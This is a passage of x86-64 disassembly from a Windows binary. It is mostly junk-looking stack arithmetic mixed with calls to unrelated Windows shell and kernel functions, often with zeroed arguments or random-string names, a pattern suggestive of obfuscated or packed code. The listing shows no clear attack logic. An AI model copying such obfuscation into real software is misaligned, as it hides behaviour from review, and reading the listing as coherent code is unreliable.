mov dword [rsp + 0x9374], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [0x14027d384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.HjHPR4sYOuxWw9nRxbOZsR2396pg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12af0], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x128c8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rdx, qword [0x1402c4168]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x140020c05
movzx eax, byte [rsp + 0x59e]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x599], al
movzx eax, word [rsp + 0x2c18]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d380], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12ab8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12928]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x1400]
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rax]
call fcn.1402319d0
mov r9d, 0xfb
mov r8, qword [rsp + 0x12870]
mov edx, 0x32
mov rcx, qword [rsp + 0x12af8]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x598]
and eax, ecx
mov byte [rsp + 0x36d], al
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ac0], ax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9334]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rsp + 0x9374]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91dc], eax
jmp 0x140020cf6
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12980]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12898]
mov rdx, qword [rsp + 0x129a8]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jl 0x140020cf6
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x596], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9318], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
add eax, ecx
mov word [0x14027d3a0], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
lea rax, [rsp + 0x128c8]
mov qword [rsp + 0x12b00], rax
mov rax, qword [0x14027d370]
movzx ecx, al
mov rax, qword [rsp + 0x12ae0]
shl rax, cl
mov qword [rsp + 0x12980], rax
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9378], eax
mov eax, dword [rsp + 0x92d4]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x12b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12b08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9354], eax
mov eax, dword [0x14027d388]
mov dword [rsp + 0x937c], eax
lea rax, [rsp + 0x12aa8]
mov qword [rsp + 0x12b10], rax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x129e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [0x1402c4158]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14027d398], ax
movzx eax, byte [rsp + 0x36d]
mov byte [rsp + 0x5a2], al
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3c1]
add eax, ecx
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12ab8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12ae0], rax
mov rax, qword [rsp + 0x113d8]
mov rcx, qword [rsp + 0x127d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10f18]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140020f23
movzx eax, word [0x14027d380]
movzx ecx, word [rsp + 0x2010]
add eax, ecx
mov word [rsp + 0x2620], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov qword [rsp + 0x12b18], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9230]
shl eax, cl
mov dword [rsp + 0x9320], eax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29dc]
or eax, ecx
mov word [0x14027d3a4], ax
mov rax, qword [rsp + 0x12ae0]
mov qword [rsp + 0x12b20], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1268], ax
lea rax, [0x14027d03a]
mov qword [rsp + 0x12b28], rax
jmp 0x140020f94
movzx eax, word [0x14027d39c]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2ac0]
add ecx, edx
cmp eax, ecx
jle 0x140020f94
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29dc]
and eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov r9d, 0x70
mov r8d, 0x7a
mov edx, 0xd9
mov rcx, qword [rsp + 0x12878]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
call fcn.140231a50
lea rax, [rsp + 0x9334]
mov qword [rsp + 0x12b30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rax, [0x14027d388]
mov qword [rsp + 0x12b38], rax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d8], rax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x5a1]
sub eax, ecx
mov byte [rsp + 0x163], al
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
mov edx, 0x8a68c
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9380], eax
lea rax, [rsp + 0x27f]
mov qword [0x1402c4148], rax
movzx eax, word [rsp + 0x2c04]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2620], ax
mov rax, qword [0x1402c4168]
mov qword [rsp + 0x12b40], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12ae0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
mov qword [rsp + 0x12b48], rax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9374], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [0x1402c4158]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x141c], ax
movzx eax, word [rsp + 0x2568]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c04], ax
movzx eax, byte [rsp + 0x596]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14027d039], al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov qword [rsp + 0x12b50], rax
mov rax, qword [rsp + 0x12b00]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bc4], ax
mov eax, dword [0x14027d388]
mov dword [rsp + 0x9384], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7c70]
shl eax, cl
mov dword [rsp + 0x928c], eax
movzx eax, byte [rsp + 0x1c5]
mov byte [rsp + 0x5a3], al
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2bf8]
add ecx, edx
cmp eax, ecx
jge 0x140021305
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127c0], rax
movzx eax, word [rsp + 0x2bec]
movzx ecx, word [rsp + 0x2bf0]
add eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov word [0x1402c4142], ax
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18cc], ax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
mov byte [rsp + 0x5a4], al
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x9320]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x92a4], eax
mov rax, qword [rsp + 0xefa8]
mov qword [rsp + 0x12b58], rax
mov eax, dword [rsp + 0x92b8]
mov ecx, dword [rsp + 0x9354]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rcx, qword [rsp + 0x12a70]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x92c8], eax
movsx eax, word [rsp + 0x141c]
movsx ecx, word [rsp + 0x1400]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov word [rsp + 0x2544], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
xor eax, ecx
mov byte [0x14027d039], al
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x127d0]
shl rax, cl
mov rcx, qword [rsp + 0x12b40]
mov rdx, qword [rsp + 0x113d8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jge 0x140021444
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12ab8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x127d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2800], ax
lea rcx, [rsp + 0x2b800]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x92d8], eax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a1], al
mov eax, dword [0x1402c4188]
mov ecx, dword [rsp + 0x9354]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x9358]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9384], eax
jmp 0x140021621
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x129e8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140021621
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12b10]
mov qword [rcx], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILFree
lea r9, [rsp + 0x7774]
lea r8, [rsp + 0x922c]
mov edx, 0x84
mov rcx, qword [rsp + 0x12870]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x9388], eax
movzx eax, byte [rsp + 0x59b]
movzx ecx, byte [rsp + 0x596]
sar eax, cl
mov byte [0x1402c4152], al
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ac0], ax
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2800], ax
movzx eax, byte [rsp + 0x5a0]
movzx ecx, byte [rsp + 0x3c1]
shl eax, cl
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [0x14027d38c]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
lea rcx, [rsp + 0x12878]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x938c], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x9334]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12b38]
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7774], eax
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10f18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a8], rax
mov edx, 0x81
mov rcx, qword [rsp + 0x12870]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d380], ax
movzx eax, byte [rsp + 0x5a4]
mov byte [rsp + 0x5a5], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc4], ax
lea rax, [rsp + 0x392]
mov qword [rsp + 0x12b60], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [rsp + 0x127f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xefa8]
mov rdx, qword [rsp + 0x12810]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1402304cf
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov qword [rsp + 0x12b68], rax
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x12b30]
mov ecx, dword [rsp + 0x9354]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12868]
mov edx, dword [rsp + 0x7c70]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jge 0x140021823
mov rax, qword [rsp + 0x12b60]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x129c8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rax]
call fcn.140231c40
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [rsp + 0x59f], al
movzx eax, byte [0x1402c4160]
movzx ecx, byte [rsp + 0x597]
sub eax, ecx
mov byte [rsp + 0x5a4], al
movzx eax, word [rsp + 0x2544]
movzx ecx, word [rsp + 0x2010]
and eax, ecx
mov word [rsp + 0x2bd8], ax
mov ecx, 0xe9
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x9390], eax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x9334]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12968], rax
movsx eax, word [0x14027d390]
movsx ecx, word [rsp + 0x2bc4]
sub eax, ecx
mov word [rsp + 0x25b8], ax
movzx eax, byte [rsp + 0x5a0]
movzx ecx, byte [rsp + 0x5a4]
add eax, ecx
mov byte [0x1402c4160], al
jmp 0x1400218be
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x129a0]
shr rax, cl
mov rcx, qword [rsp + 0x127f8]
mov rdx, qword [rsp + 0x12b48]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jbe 0x1400218be
movzx r8d, word [rsp + 0x2010]
movzx edx, word [0x14027d37c]
mov rax, qword [rsp + 0x129b0]
mov ecx, dword [rax]
call fcn.1402319d0
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x141c]
or eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
lea r9, [rsp + 0x2010]
lea r8, [rsp + 0x12ab0]
mov edx, 0x4e
mov rcx, qword [rsp + 0x12a58]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x12b70], rax
lea rcx, [rsp + 0x29830]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
cdq
mov ecx, 0x4cc
idiv ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [0x14027d038]
mov dword [rsp + 0x9394], ecx
movsx edx, byte [rsp + 0x598]
movzx ecx, dl
mov edx, dword [rsp + 0x9394]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1402303e9
mov rax, qword [rsp + 0x129a8]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x12930]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140230336
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b00]
mov qword [rsp + 0x12b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12b78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xea50], rax
movzx eax, word [rsp + 0x2bf8]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0x12b30]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x4a]
and ecx, edx
cmp eax, ecx
jge 0x140021bbb
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rsp + 0x91dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x129f0]
mov dword [rcx], eax
mov r8, qword [rsp + 0x128b8]
mov rdx, qword [rsp + 0x128b8]
mov rcx, qword [rsp + 0x12870]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x12b80], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0xefa8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
movzx eax, byte [rsp + 0x596]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4a], al
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c0c]
add eax, ecx
mov word [0x14027d37c], ax
lea rcx, [rsp + 0x2b570]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x12b88], rax
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2620], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12a30]
mov byte [rcx], al
lea rcx, [rsp + 0x2b5b0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x12b90], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x92fc]
mov ecx, dword [rsp + 0x9200]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov eax, dword [rsp + 0x9320]
mov rcx, qword [rsp + 0x12b38]
mov qword [rsp + 0x12b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12b98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9374], eax
jmp 0x140021d0a
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x5a6], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
sar eax, cl
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
imul eax, ecx
mov word [0x14027d3a8], ax
mov rax, qword [rsp + 0x12aa8]
mov rcx, qword [rsp + 0x12b58]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1402c4170]
mov rdx, qword [rsp + 0x127d8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
ja 0x140021d0a
movzx eax, byte [rsp + 0x599]
mov byte [rsp + 0x5a7], al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x12930]
mov rcx, qword [rsp + 0x12980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11be0], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12ab0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12b38]
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9220], eax
mov eax, dword [rsp + 0x92d4]
mov dword [rsp + 0x9398], eax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29dc]
add eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov byte [rsp + 0x5a8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14027d394], ax
mov rax, qword [rsp + 0x12980]
mov rcx, qword [rsp + 0x12b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12ab8], rax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x12980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12ab8], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc4]
or eax, ecx
mov word [rsp + 0x1318], ax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x92b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x92fc], eax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
mov dword [rsp + 0x939c], ecx
mov rdx, qword [0x1402c4158]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x939c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140021e3f
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [rsp + 0x12ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12b18], rax
mov rax, qword [rsp + 0x12b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x392], al
lea rdx, [rsp + 0x12950]
lea rcx, [rsp + 0x27f]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x12ba0], rax
call fcn.140231b50
mov eax, dword [0x14027d388]
mov dword [rsp + 0x93a0], eax
lea rcx, str.4M_UJz5r_DX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c1c], ax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x5a6]
add eax, ecx
movsx ecx, byte [rsp + 0x5a3]
movsx edx, byte [rsp + 0x59c]
sub ecx, edx
cmp eax, ecx
jg 0x140022028
